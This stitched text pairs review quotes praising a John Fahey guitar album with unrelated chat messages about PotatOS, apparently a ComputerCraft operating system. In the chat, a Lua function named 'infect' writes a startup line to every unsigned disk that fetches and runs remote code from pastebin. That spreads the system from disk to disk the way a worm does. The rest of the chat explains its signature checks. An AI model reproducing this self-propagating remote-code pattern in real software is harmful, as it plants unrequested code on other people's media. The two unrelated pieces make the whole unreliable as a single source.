Music critic Mark Allan praised the album, noting that "Fahey weaves a spell with his precise picking and odd tunings... if you unplug the phone, turn off the TV and give it the chance, this music might briefly remove you from your everyday existence."[2]

From his review for the UK-based Record Collector, critic Jason Draper gave the album 4 stars, stating "... it’s a concise, stately piece of work, Fahey tapping into blues, classical and even bordering on ragtime guitar... it transcends time and spans agee... grand and full enough to fill the deepest chamber and the grandest dining room, yet intimate enough for a fireside sherry when the kids have gone to bed. If you can’t be touched by this, you can’t be touched by anything."[3]

gollark: Quick summary:- valid disks contain a signature file and a startup- the signature can be in the old table format or hexadecimal- only disks where the signature is valid for the code on them are executed
gollark: The relevant code:```lualocal function infect(disk_side) local mp = disk.getMountPath(disk_side) if not mp then return end local ds = fs.combine(mp, "startup") -- Find paths to startup and signature files local disk_ID = disk.getID(disk_side) local sig_file = fs.combine(mp, "signature") -- shell.run disks marked with the Brand of PotatOS -- except not actually, it's cool and uses load now if fs.exists(ds) and fs.exists(sig_file) then local code = fread(ds) local sig_raw = fread(sig_file) local sig if sig_raw:find "{" then sig = textutils.unserialise(sig_raw) else sig = unhexize(sig_raw) end disk.eject(disk_side) if verify(code, sig) then -- run code, but safely (via pcall) -- print output for debugging print "Signature Valid; PotatOS Disk Loading" local out, err = load(code, "@disk/startup", nil, external_env) if not out then printError(err) else local ok, res = pcall(out, { side = disk_side, mount_path = mp, ID = disk_ID }) if ok then print(textutils.serialise(res)) else printError(res) end end else printError "Invalid Signature!" printError "Initiating Procedure 5." end -- if they're not PotatOS'd, write it on else fwrite(ds, "shell.run 'pastebin run RM13UGFa update' -- PotatOS") endend```
gollark: <@151391317740486657> What key exactly?
gollark: <@151391317740486657> Only digitally signed ones are run unsandboxed. You cannot sign a disk without the private key or probably utterly impractical hackery.
gollark: Basically, any disk you make *will not be run unsandboxed* on a regular potatOS install.
